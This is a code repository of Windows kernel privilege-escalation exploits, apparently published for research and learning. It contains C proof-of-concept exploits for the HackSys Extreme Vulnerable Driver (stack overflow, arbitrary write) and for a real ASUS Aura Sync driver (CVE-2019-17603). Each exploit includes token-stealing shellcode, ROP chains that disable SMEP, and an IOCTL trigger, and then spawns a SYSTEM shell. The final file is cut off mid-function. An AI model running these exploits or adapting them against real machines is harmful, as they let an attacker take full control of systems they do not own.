├── Images ├── PTE1.gif ├── SMEP1.gif └── kCFG.gif ├── README.md ├── CVE-2021-21551 ├── x64 │ └── Release │ │ └── CVE-2021-21551.exe ├── CVE-2021-21551.sln ├── CVE-2021-21551.vcxproj └── CVE-2021-21551.c ├── HEVD ├── Pool Overflow │ ├── x64 │ │ ├── Release │ │ │ └── HEVD_PoolOverflow.exe │ │ └── Debug │ │ │ └── HEVD_PoolOverflow.log │ ├── HEVD_PoolOverflow.sln │ ├── HEVD_PoolOverflow.vcxproj │ └── HEVD_PoolOverflow.c ├── Stack Overflow │ └── Windows10_StackOverflow.c └── Write-What-Where │ ├── Windows10_WriteWhatWhere.c │ ├── Windows10_Write_What_Where2.c │ └── kCFG_Bypass.c └── CVE-2019-17603 ├── README.md └── CVE-2019-17603.c /Images/PTE1.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/connormcgarr/Kernel-Exploits/HEAD/Images/PTE1.gif -------------------------------------------------------------------------------- /Images/SMEP1.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/connormcgarr/Kernel-Exploits/HEAD/Images/SMEP1.gif -------------------------------------------------------------------------------- /Images/kCFG.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/connormcgarr/Kernel-Exploits/HEAD/Images/kCFG.gif -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Kernel Exploits 2 | Repository for kernel exploits 3 | 4 | 5 | -------------------------------------------------------------------------------- /CVE-2021-21551/x64/Release/CVE-2021-21551.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/connormcgarr/Kernel-Exploits/HEAD/CVE-2021-21551/x64/Release/CVE-2021-21551.exe -------------------------------------------------------------------------------- /HEVD/Pool Overflow/x64/Release/HEVD_PoolOverflow.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/connormcgarr/Kernel-Exploits/HEAD/HEVD/Pool Overflow/x64/Release/HEVD_PoolOverflow.exe -------------------------------------------------------------------------------- /HEVD/Pool Overflow/x64/Debug/HEVD_PoolOverflow.log: -------------------------------------------------------------------------------- 1 | HEVD_PoolOverflow.c 2 | HEVD_PoolOverflow.vcxproj -> C:\Users\ANON\Desktop\HEVD_PoolOverflow\x64\Debug\HEVD_PoolOverflow.exe 3 | -------------------------------------------------------------------------------- /CVE-2019-17603/README.md: -------------------------------------------------------------------------------- 1 | CVE-2019-17603: ASUS Aura Sync 1.07.71 'ene.sys' EoP Kernel Exploit 2 | --- 3 | 4 | Vulnerability Discovery: [@dhn_](https://twitter.com/dhn_) 5 | 6 | TODO: `mov rsp, rbp` fails! `[RBP-0x58]` issue has been solved with `HeapCreate()` && `HeapAlloc()` - but still need to restore execution after SMEP is disabled. 7 | -------------------------------------------------------------------------------- /CVE-2021-21551/CVE-2021-21551.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.31205.134 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CVE-2021-21551", "CVE-2021-21551.vcxproj", "{94FFBFCC-95F0-4488-9D1D-A2E1E6346971}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {94FFBFCC-95F0-4488-9D1D-A2E1E6346971}.Debug|x64.ActiveCfg = Debug|x64 17 | {94FFBFCC-95F0-4488-9D1D-A2E1E6346971}.Debug|x64.Build.0 = Debug|x64 18 | {94FFBFCC-95F0-4488-9D1D-A2E1E6346971}.Debug|x86.ActiveCfg = Debug|Win32 19 | {94FFBFCC-95F0-4488-9D1D-A2E1E6346971}.Debug|x86.Build.0 = Debug|Win32 20 | {94FFBFCC-95F0-4488-9D1D-A2E1E6346971}.Release|x64.ActiveCfg = Release|x64 21 | {94FFBFCC-95F0-4488-9D1D-A2E1E6346971}.Release|x64.Build.0 = Release|x64 22 | {94FFBFCC-95F0-4488-9D1D-A2E1E6346971}.Release|x86.ActiveCfg = Release|Win32 23 | {94FFBFCC-95F0-4488-9D1D-A2E1E6346971}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {B17684CE-85C9-4408-A1E1-8B03702B1524} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /HEVD/Pool Overflow/HEVD_PoolOverflow.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.31321.278 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "HEVD_PoolOverflow", "HEVD_PoolOverflow.vcxproj", "{500AC1A9-2C8E-4353-9973-508E6D30635B}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {500AC1A9-2C8E-4353-9973-508E6D30635B}.Debug|x64.ActiveCfg = Debug|x64 17 | {500AC1A9-2C8E-4353-9973-508E6D30635B}.Debug|x64.Build.0 = Debug|x64 18 | {500AC1A9-2C8E-4353-9973-508E6D30635B}.Debug|x86.ActiveCfg = Debug|Win32 19 | {500AC1A9-2C8E-4353-9973-508E6D30635B}.Debug|x86.Build.0 = Debug|Win32 20 | {500AC1A9-2C8E-4353-9973-508E6D30635B}.Release|x64.ActiveCfg = Release|x64 21 | {500AC1A9-2C8E-4353-9973-508E6D30635B}.Release|x64.Build.0 = Release|x64 22 | {500AC1A9-2C8E-4353-9973-508E6D30635B}.Release|x86.ActiveCfg = Release|Win32 23 | {500AC1A9-2C8E-4353-9973-508E6D30635B}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {E03000AA-A74E-4A3A-B6BE-58A74B9CEA55} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /HEVD/Stack Overflow/Windows10_StackOverflow.c: -------------------------------------------------------------------------------- 1 | // HackSysExtreme Vulnerable Driver Kernel Exploit (x64 Stack Overflow & SMEP Enabled) 2 | // Author: Connor McGarr 3 | // Compilation on Windows via gcc: gcc Windows10_StackOverflow.c -o Windows10_StackOverflow.exe -lpsapi 4 | 5 | #include 6 | #include 7 | #include 8 | 9 | #define IOCTL_CODE 0x222003 10 | 11 | unsigned long long kernelBase(void) 12 | { 13 | // Defining EnumDeviceDrivers() parameters 14 | LPVOID lpImageBase[1024]; 15 | DWORD lpcbNeeded; 16 | 17 | // Calling EnumDeviceDrivers() 18 | printf("[+] Calling EnumDeviceDrivers()...\n"); 19 | 20 | BOOL baseofDrivers = EnumDeviceDrivers( 21 | lpImageBase, 22 | sizeof(lpImageBase), 23 | &lpcbNeeded 24 | ); 25 | 26 | // Error handling 27 | if (!baseofDrivers) 28 | { 29 | printf("[-] Error! Unable to invoke EnumDeviceDrivers(). Error: %d\n", GetLastError()); 30 | exit(1); 31 | } 32 | 33 | // ntoskrnl.exe is the first module dumped in the array 34 | // Typcasting LPVOID to unsigned long long 35 | unsigned long long krnlBase = (unsigned long long)lpImageBase[0]; 36 | 37 | // Print update for kernel base 38 | printf("[+] Found kernel leak!\n"); 39 | printf("[+] ntoskrnl.exe is located at: 0x%llx\n", krnlBase); 40 | 41 | return krnlBase; 42 | } 43 | 44 | void exploitWork() 45 | { 46 | /* 47 | [BITS 64] 48 | 49 | _start: 50 | mov rax, [gs:0x188] ; Current thread (_KTHREAD) 51 | mov rax, [rax + 0xb8] ; Current process (_EPROCESS) 52 | mov rbx, rax ; Copy current process (_EPROCESS) to rbx 53 | __loop: 54 | mov rbx, [rbx + 0x2f0] ; ActiveProcessLinks 55 | sub rbx, 0x2f0 ; Go back to current process (_EPROCESS) 56 | mov rcx, [rbx + 0x2e8] ; UniqueProcessId (PID) 57 | cmp rcx, 4 ; Compare PID to SYSTEM PID 58 | jnz __loop ; Loop until SYSTEM PID is found 59 | 60 | mov rcx, [rbx + 0x358] ; SYSTEM token is @ offset _EPROCESS + 0x358 61 | and cl, 0xf0 ; Clear out _EX_FAST_REF RefCnt 62 | mov [rax + 0x358], rcx ; Copy SYSTEM token to current process 63 | 64 | add rsp, 0x40 ; Restore execution 65 | ret ; Done! 66 | */ 67 | 68 | // Windows 10 RS1 offsets in _EPROCESS structure 69 | char payload[] = "\x65\x48\x8B\x04\x25\x88\x01\x00\x00\x48\x8B\x80" 70 | "\xB8\x00\x00\x00\x48\x89\xC3\x48\x8B\x9B\xF0" 71 | "\x02\x00\x00\x48\x81\xEB\xF0\x02\x00\x00\x48" 72 | "\x8B\x8B\xE8\x02\x00\x00\x48\x83\xF9\x04" 73 | "\x75\xE5\x48\x8B\x8B\x58\x03\x00\x00\x80" 74 | "\xE1\xF0\x48\x89\x88\x58\x03\x00\x00\x48" 75 | "\x83\xC4\x40\xC3"; 76 | 77 | // Allocating shellcode in user mode 78 | LPVOID shellcode = VirtualAlloc( 79 | NULL, 80 | sizeof(payload), 81 | 0x3000, 82 | 0x40 83 | ); 84 | 85 | // Error handling 86 | if (!shellcode) 87 | { 88 | printf("[-] Error! Unable to allocate shellcode in user mode. Error: %d\n", GetLastError()); 89 | exit(1); 90 | } 91 | 92 | // Print update for shellcode location 93 | printf("[+] Shellcode allocated at: 0x%llx\n", shellcode); 94 | 95 | // Moving memory into allocated space in user mode 96 | VOID moveMemory = RtlMoveMemory( 97 | shellcode, 98 | payload, 99 | sizeof(payload) 100 | ); 101 | 102 | // Error handling 103 | if (!moveMemory) 104 | { 105 | printf("[-] Error! Unable to move shellcode into allocated region. Error: %s\n", GetLastError()); 106 | exit(1); 107 | } 108 | 109 | // Running kernelBase() here to get base of kernel for ROP gadgets 110 | unsigned long long baseAddress = kernelBase(); 111 | 112 | // Defining buffer and buffer size to send to the driver 113 | char buf [2100]; 114 | size_t gadgetSize = 0x8; 115 | 116 | // Defining ROP gadgets 117 | unsigned long long ROP1 = baseAddress + 0x4666b; // pop rcx ; ret: ntoskrnl.exe 118 | unsigned long long ROP2 = 0x70678; // Intended CR4 value (0x70678) 119 | unsigned long long ROP3 = baseAddress + 0x1d87d7; // mov cr4, rcx ; ret: ntoskrnl.exe 120 | 121 | // Using memset to copy memory into array 122 | memset(buf, 0x41, 2100); 123 | 124 | // buf+2056 because this is where ROP gadgets should start to be loaded into RIP 125 | // Need pointer to src and need pointer to gadgets for dest 126 | 127 | // Print update for ROP chain 128 | printf("[+] Beginning ROP chain to disable SMEP. In muts we trust.\n"); 129 | 130 | memcpy(&buf[2056], &ROP1, gadgetSize); 131 | printf("[+] Popped value of CR4 with SMEP disabled into RCX...\n"); 132 | 133 | memcpy(&buf[2056+8], &ROP2, gadgetSize); 134 | memcpy(&buf[2056+16], &ROP3, gadgetSize); 135 | printf("[+] SMEP is disabled! CR4 now has the 20th bit cleared...\n"); 136 | 137 | memcpy(&buf[2056+24], &shellcode, 0x8); 138 | printf("[+] Executing the shellcode!\n"); 139 | 140 | // Obtaining handle to the driver 141 | printf("[+] Obtaining handle to the driver via CreateFileA()...\n"); 142 | 143 | HANDLE drvHandle = CreateFileA( 144 | "\\\\.\\HackSysExtremeVulnerableDriver", 145 | 0xC0000000, 146 | 0x0, 147 | NULL, 148 | 0x3, 149 | 0x0, 150 | NULL 151 | ); 152 | 153 | // Error handling 154 | if (!drvHandle) 155 | { 156 | printf("[-] Error! Unable to obtain a handle to the driver. Error: %d\n", GetLastError()); 157 | exit(1); 158 | } 159 | 160 | // Print update for HANDLE 161 | printf("[+] Handle to the driver: %d\n", drvHandle); 162 | 163 | // Sending buffer to the driver 164 | 165 | // Defining lpBytesReturned parameter 166 | DWORD lpBytesReturned; 167 | 168 | BOOL sendIoctl = DeviceIoControl( 169 | drvHandle, 170 | IOCTL_CODE, 171 | buf, 172 | sizeof(buf), 173 | NULL, 174 | 0, 175 | &lpBytesReturned, 176 | NULL 177 | ); 178 | 179 | // Error handling 180 | if (!sendIoctl) 181 | { 182 | printf("[-] Error! Unable to interact with the driver. Error: %d\n", GetLastError()); 183 | exit(1); 184 | } 185 | 186 | printf("[+] Interacting with the driver...\n"); 187 | } 188 | 189 | int main(int argc, char *argv[]) 190 | { 191 | exploitWork(); 192 | 193 | // Spawning an NT AUTHORITY\SYSTEM shell 194 | system("cmd.exe /c cmd.exe /K cd C:\\"); 195 | 196 | // Print update for NT AUTHORITY\SYSTEM shell 197 | printf("[+] Enjoy the NT AUTHORITY\\SYSTEM shell!\n"); 198 | 199 | return 0; 200 | } 201 | -------------------------------------------------------------------------------- /CVE-2019-17603/CVE-2019-17603.c: -------------------------------------------------------------------------------- 1 | // CVE-2019-17603: ASUS Aura Sync 1.07.71 'ene.sys' EoP Kernel Exploit 2 | // Discovered by @dhn_ 3 | // Author of PoC: Connor McGarr (@33y0re - https://connormcgarr.github.io) 4 | // Tested with VBS, HyperGuard, and PatchGuard disabled 5 | // Compilation on Windows via gcc: gcc CVE-2019-17603 -o exploit.exe -lpsapi 6 | 7 | #include 8 | #include 9 | #include 10 | 11 | // Vulnerable IOCTL in ene.sys 12 | #define IOCTL_CODE 0x80102040 13 | 14 | unsigned long long kernelBase() 15 | { 16 | 17 | // Defining EnumDeviceDrivers() parameters 18 | LPVOID lpImageBase[1024]; 19 | DWORD lpcbNeeded; 20 | 21 | // Calling EnumDeviceDrivers() 22 | printf("[+] Calling EnumDeviceDrivers()...\n"); 23 | 24 | BOOL baseofDrivers = EnumDeviceDrivers( 25 | lpImageBase, 26 | sizeof(lpImageBase), 27 | &lpcbNeeded 28 | ); 29 | 30 | // Error handling 31 | if (!baseofDrivers) 32 | { 33 | printf("[-] Error! Unable to invoke EnumDeviceDrivers(). Error: %d\n", GetLastError()); 34 | exit(1); 35 | } 36 | 37 | // ntoskrnl.exe is the first module dumped in the array 38 | // Typcasting LPVOID to unsigned long long 39 | unsigned long long krnlBase = (unsigned long long)lpImageBase[0]; 40 | 41 | // Print update for kernel base 42 | printf("[+] Found kernel leak!\n"); 43 | printf("[+] ntoskrnl.exe is located at: 0x%llx\n", krnlBase); 44 | 45 | return krnlBase; 46 | } 47 | 48 | void exploitWork(void) 49 | { 50 | /* 51 | [BITS 64] 52 | _start: 53 | mov rax, [gs:0x188] ; Current thread (_KTHREAD) 54 | mov rax, [rax + 0xb8] ; Current process (_EPROCESS) 55 | mov rbx, rax ; Copy current process (_EPROCESS) to rbx 56 | __loop: 57 | mov rbx, [rbx + 0x2e8] ; ActiveProcessLinks 58 | sub rbx, 0x2e8 ; Go back to current process (_EPROCESS) 59 | mov rcx, [rbx + 0x2e0] ; UniqueProcessId (PID) 60 | cmp rcx, 4 ; Compare PID to SYSTEM PID 61 | jnz __loop ; Loop until SYSTEM PID is found 62 | mov rcx, [rbx + 0x358] ; SYSTEM token is @ offset _EPROCESS + 0x358 63 | and cl, 0xf0 ; Clear out _EX_FAST_REF RefCnt 64 | mov [rax + 0x358], rcx ; Copy SYSTEM token to current process 65 | xor rax, rax ; STATUS_SUCCESS 66 | add rsp, 0xa0 ; Restore execution (DOESN't FULLY RESTORE) 67 | ret ; Done! 68 | */ 69 | 70 | char payload[] = "\x65\x48\x8B\x04\x25\x88\x01\x00\x00\x48\x8B\x80" 71 | "\xB8\x00\x00\x00\x48\x89\xC3\x48\x8B\x9B\xF0" 72 | "\x02\x00\x00\x48\x81\xEB\xF0\x02\x00\x00\x48" 73 | "\x8B\x8B\xE8\x02\x00\x00\x48\x83\xF9\x04" 74 | "\x75\xE5\x48\x8B\x8B\x58\x03\x00\x00\x80" 75 | "\xE1\xF0\x48\x89\x88\x58\x03\x00\x00\x48\x31\xC0" 76 | "\xC3"; 77 | 78 | // Parameters for HeapCreate() 79 | size_t dwInitialSize = 0; 80 | size_t dwMaximumSize = 0x100; 81 | 82 | // Creating heap for shellcode 83 | HANDLE heap = HeapCreate( 84 | HEAP_CREATE_ENABLE_EXECUTE, 85 | dwInitialSize, 86 | dwMaximumSize 87 | ); 88 | 89 | // Error handling 90 | if (!heap) 91 | { 92 | printf("Error! Heap could not be created. Error: %d\n", GetLastError()); 93 | } 94 | 95 | // Parameters for HeapAlloc() 96 | DWORD dwBytes = 0x100; 97 | 98 | // Allocating shellcode in previously created heap 99 | LPVOID shellcode = HeapAlloc( 100 | heap, 101 | HEAP_ZERO_MEMORY, 102 | dwBytes 103 | ); 104 | 105 | // Error handling 106 | if (!shellcode) 107 | { 108 | printf("[-] Error! Unable to allocate shellcode in user mode. Error: %d\n", GetLastError()); 109 | exit(1); 110 | } 111 | 112 | // Print statement for exploit 113 | printf("[+] CVE-2019-17603: ASUS Aura Sync 1.07.71 'ene.sys' EoP Kernel Exploit\n"); 114 | 115 | // Print update for shellcode location 116 | printf("[+] Shellcode allocated at: 0x%llx\n", shellcode); 117 | 118 | // Moving memory into allocated space in user mode 119 | RtlMoveMemory( 120 | shellcode, 121 | payload, 122 | sizeof(payload) 123 | ); 124 | 125 | // Running kernelBase() here to get base of kernel for ROP gadgets 126 | unsigned long long baseAddress = kernelBase(); 127 | 128 | // Defining buffer and buffer size to send to the driver 129 | char buf [88]; 130 | size_t gadgetSize = 0x8; 131 | 132 | // ROP gadgets are for Windows 10 RS1 Version 10.0.14393 Build 14393 133 | // Run rp++ on the target before execution to adjust offsets accordingnly 134 | // rp++.exe -f C:\Windows\system32\ntoskrnl.exe -r 5 >> NTOSKRNL_GADGETS.exe 135 | 136 | // Defining ROP gadgets 137 | unsigned long long ROP1 = baseAddress + 0x4666b; // pop rcx ; ret: ntoskrnl.exe 138 | unsigned long long ROP2 = 0x70678; // Intended CR4 value (0x70678) Windows 10 RS1 Version 10.0.14393 Build 14393 139 | unsigned long long ROP3 = baseAddress + 0x1d87d7; // mov cr4, rcx ; ret: ntoskrnl.exe 140 | 141 | // Using memset to copy memory into array 142 | memset(buf, 0x41, 88); 143 | 144 | // Print update for ROP chain 145 | printf("[+] Exedcuting ROP chain to disable SMEP...\n"); 146 | memcpy(&buf[56], &ROP1, gadgetSize); 147 | memcpy(&buf[56+8], &ROP2, gadgetSize); 148 | memcpy(&buf[56+16], &ROP3, gadgetSize); 149 | memcpy(&buf[56+24], &shellcode, 0x8); 150 | 151 | 152 | // Obtaining handle to the driver 153 | printf("[+] Obtaining handle to the driver via CreateFileA()...\n"); 154 | 155 | HANDLE drvHandle = CreateFileA( 156 | "\\\\.\\EneIo", 157 | 0xC0000000, 158 | 0x0, 159 | NULL, 160 | 0x3, 161 | 0x0, 162 | NULL 163 | ); 164 | 165 | // Error handling 166 | if (!drvHandle) 167 | { 168 | printf("[-] Error! Unable to obtain a handle to the driver. Error: %d\n", GetLastError()); 169 | exit(1); 170 | } 171 | 172 | // Print update for HANDLE 173 | printf("[+] Handle to the driver: %d\n", drvHandle); 174 | 175 | // Sending buffer to the driver 176 | 177 | // Defining lpBytesReturned parameter 178 | DWORD lpBytesReturned; 179 | 180 | BOOL sendIoctl = DeviceIoControl( 181 | drvHandle, 182 | IOCTL_CODE, 183 | buf, 184 | sizeof(buf), 185 | NULL, 186 | 0, 187 | &lpBytesReturned, 188 | NULL 189 | ); 190 | 191 | // Error handling 192 | if (!sendIoctl) 193 | { 194 | printf("[-] Error! Unable to interact with the driver. Error: %d\n", GetLastError()); 195 | exit(1); 196 | } 197 | 198 | printf("[+] Interacting with the driver...\n"); 199 | 200 | // Destroying heap used for shellcode 201 | BOOL destroyHeap = HeapDestroy( 202 | heap 203 | ); 204 | 205 | // Error handing for destroying heap 206 | if (!destroyHeap) 207 | { 208 | printf("Error! Could not destroy heap! Error: %d\n", GetLastError()); 209 | } 210 | 211 | // Print update for destroy heap 212 | printf("Destroying heap used for shellcode...\n"); 213 | } 214 | 215 | int main(int argc, char *argv[]) 216 | { 217 | exploitWork(); 218 | 219 | // Print update for NT AUTHORITY\SYSTEM shell 220 | printf("[+] Enjoy the NT AUTHORITY\\SYSTEM shell!\n"); 221 | 222 | // Spawning an NT AUTHORITY\SYSTEM shell 223 | system("cmd.exe /c cmd.exe /K cd C:\\"); 224 | 225 | return 0; 226 | } 227 | -------------------------------------------------------------------------------- /CVE-2021-21551/CVE-2021-21551.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {94ffbfcc-95f0-4488-9d1d-a2e1e6346971} 25 | CVE202121551 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v142 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v142 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | false 78 | 79 | 80 | true 81 | 82 | 83 | false 84 | 85 | 86 | 87 | Level3 88 | true 89 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 90 | true 91 | 92 | 93 | Console 94 | true 95 | 96 | 97 | 98 | 99 | Level3 100 | true 101 | true 102 | true 103 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 104 | true 105 | 106 | 107 | Console 108 | true 109 | true 110 | true 111 | 112 | 113 | 114 | 115 | Level3 116 | true 117 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 118 | true 119 | 120 | 121 | Console 122 | true 123 | 124 | 125 | 126 | 127 | Level3 128 | true 129 | true 130 | true 131 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 132 | true 133 | 134 | 135 | Console 136 | true 137 | true 138 | true 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | -------------------------------------------------------------------------------- /HEVD/Pool Overflow/HEVD_PoolOverflow.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {500ac1a9-2c8e-4353-9973-508e6d30635b} 25 | HEVDPoolOverflow 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v142 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v142 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | false 78 | 79 | 80 | true 81 | 82 | 83 | false 84 | 85 | 86 | 87 | Level3 88 | true 89 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 90 | true 91 | 92 | 93 | Console 94 | true 95 | 96 | 97 | 98 | 99 | Level3 100 | true 101 | true 102 | true 103 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 104 | true 105 | 106 | 107 | Console 108 | true 109 | true 110 | true 111 | 112 | 113 | 114 | 115 | Level3 116 | true 117 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 118 | true 119 | 120 | 121 | Console 122 | true 123 | 124 | 125 | 126 | 127 | Level3 128 | true 129 | true 130 | true 131 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 132 | true 133 | 134 | 135 | Console 136 | true 137 | true 138 | true 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | -------------------------------------------------------------------------------- /HEVD/Write-What-Where/Windows10_WriteWhatWhere.c: -------------------------------------------------------------------------------- 1 | // HackSys Extreme Vulnerable Driver Kernel Exploit (x64 Arbitrary Overwrite & SMEP Enabled) 2 | // Author: Connor McGarr 3 | // Compilation on Windows via gcc: gcc Windows10_WriteWhatWhere.c -o exploit.exe -lpsapi 4 | 5 | #include 6 | #include 7 | #include 8 | 9 | #define IOCTL_CODE 0x0022200B 10 | 11 | // Prepping call to nt!NtQueryIntervalProfile 12 | typedef NTSTATUS(WINAPI *NtQueryIntervalProfile_t)(IN ULONG ProfileSource, OUT PULONG Interval); 13 | 14 | unsigned long long kernelBase(void) 15 | { 16 | // Defining EnumDeviceDrivers() parameters 17 | LPVOID lpImageBase[1024]; 18 | DWORD lpcbNeeded; 19 | 20 | // Calling EnumDeviceDrivers() 21 | printf("[+] Calling EnumDeviceDrivers()...\n"); 22 | 23 | BOOL baseofDrivers = EnumDeviceDrivers( 24 | lpImageBase, 25 | sizeof(lpImageBase), 26 | &lpcbNeeded 27 | ); 28 | 29 | // Error handling 30 | if (!baseofDrivers) 31 | { 32 | printf("[-] Error! Unable to invoke EnumDeviceDrivers(). Error: %d\n", GetLastError()); 33 | exit(1); 34 | } 35 | 36 | // ntoskrnl.exe is the first module dumped in the array 37 | // Typcasting LPVOID to unsigned long long 38 | unsigned long long krnlBase = (unsigned long long)lpImageBase[0]; 39 | 40 | // Print update for kernel base 41 | printf("[+] Found kernel leak!\n"); 42 | printf("[+] ntoskrnl.exe is located at: 0x%llx\n", krnlBase); 43 | 44 | return krnlBase; 45 | } 46 | 47 | void exploitWork(void) 48 | { 49 | /* 50 | [BITS 64] 51 | _start: 52 | mov rax, [gs:0x188] ; Current thread (_KTHREAD) 53 | mov rax, [rax + 0xb8] ; Current process (_EPROCESS) 54 | mov rbx, rax ; Copy current process (_EPROCESS) to rbx 55 | __loop: 56 | mov rbx, [rbx + 0x2e8] ; ActiveProcessLinks 57 | sub rbx, 0x2e8 ; Go back to current process (_EPROCESS) 58 | mov rcx, [rbx + 0x2e0] ; UniqueProcessId (PID) 59 | cmp rcx, 4 ; Compare PID to SYSTEM PID 60 | jnz __loop ; Loop until SYSTEM PID is found 61 | mov rcx, [rbx + 0x358] ; SYSTEM token is @ offset _EPROCESS + 0x358 62 | and cl, 0xf0 ; Clear out _EX_FAST_REF RefCnt 63 | mov [rax + 0x358], rcx ; Copy SYSTEM token to current process 64 | xor rax, rax ; STATUS_SUCCESS 65 | ret ; Done! 66 | */ 67 | 68 | // Windows 10 RS1 offsets in _EPROCESS structure 69 | char payload[] = "\x65\x48\x8B\x04\x25\x88\x01\x00\x00" 70 | "\x48\x8B\x80\xB8\x00\x00\x00" 71 | "\x48\x89\xC3\x48\x8B\x9B\xF0\x02\x00\x00" 72 | "\x48\x81\xEB\xF0\x02\x00\x00" 73 | "\x48\x8B\x8B\xE8\x02\x00\x00" 74 | "\x48\x83\xF9\x04\x75\xE5" 75 | "\x48\x8B\x8B\x58\x03\x00\x00" 76 | "\x80\xE1\xF0\x48\x89\x88\x58\x03\x00\x00" 77 | "\x48\x31\xC0\xC3"; 78 | 79 | // Allocating shellcode in user mode 80 | LPVOID shellcode = VirtualAlloc( 81 | NULL, 82 | sizeof(payload), 83 | 0x3000, 84 | 0x40 85 | ); 86 | 87 | // Error handling 88 | if (!shellcode) 89 | { 90 | printf("[-] Error! Unable to allocate shellcode in user mode. Error: %d\n", GetLastError()); 91 | exit(1); 92 | } 93 | 94 | // Moving memory into allocated space in user mode 95 | RtlMoveMemory( 96 | shellcode, 97 | payload, 98 | sizeof(payload) 99 | ); 100 | 101 | // Print update for shellcode 102 | printf("[+] Shellcode is located at: 0x%llx\n", shellcode); 103 | 104 | // Return value of kernelBase 105 | unsigned long long baseAddress = kernelBase(); 106 | 107 | // Defining nt!MiGetPteAddress+0x13 and print update for location of nt!MiGetPteAddress 108 | unsigned long long ntmigetpteAddress = baseAddress+0x1b607; 109 | printf("[+] nt!MiGetPteAddress+0x13 is located at: 0x%llx\n", ntmigetpteAddress); 110 | 111 | // Defining pointer to write base of PTEs to (must initialize pointer, hence placeholder) 112 | unsigned long long placeholder = 0; 113 | PULONGLONG baseofPtes = &placeholder; 114 | 115 | // Defining buffer to send to driver 116 | char buf [0x10]; 117 | size_t oneQword = 0x8; 118 | 119 | // Initializing buffer to junk to satisfy type error of memset 120 | memset(buf, 0x41, 0x10); 121 | 122 | // Actual buffer for extracting the PTE base 123 | memcpy(buf, &ntmigetpteAddress, oneQword); 124 | memcpy(&buf[0x8], &baseofPtes, oneQword); 125 | 126 | // Obtaining handle to the driver 127 | printf("[+] Obtaining handle to the driver via CreateFileA()...\n"); 128 | HANDLE drvHandle = CreateFileA( 129 | "\\\\.\\HackSysExtremeVulnerableDriver", 130 | 0xC0000000, 131 | 0x0, 132 | NULL, 133 | 0x3, 134 | 0x0, 135 | NULL 136 | ); 137 | 138 | // Error handling 139 | if (!drvHandle) 140 | { 141 | printf("[-] Error! Unable to obtain a handle to the driver. Error: %d\n", GetLastError()); 142 | exit(1); 143 | } 144 | 145 | // Print update for HANDLE 146 | printf("[+] Handle to the driver: %d\n", drvHandle); 147 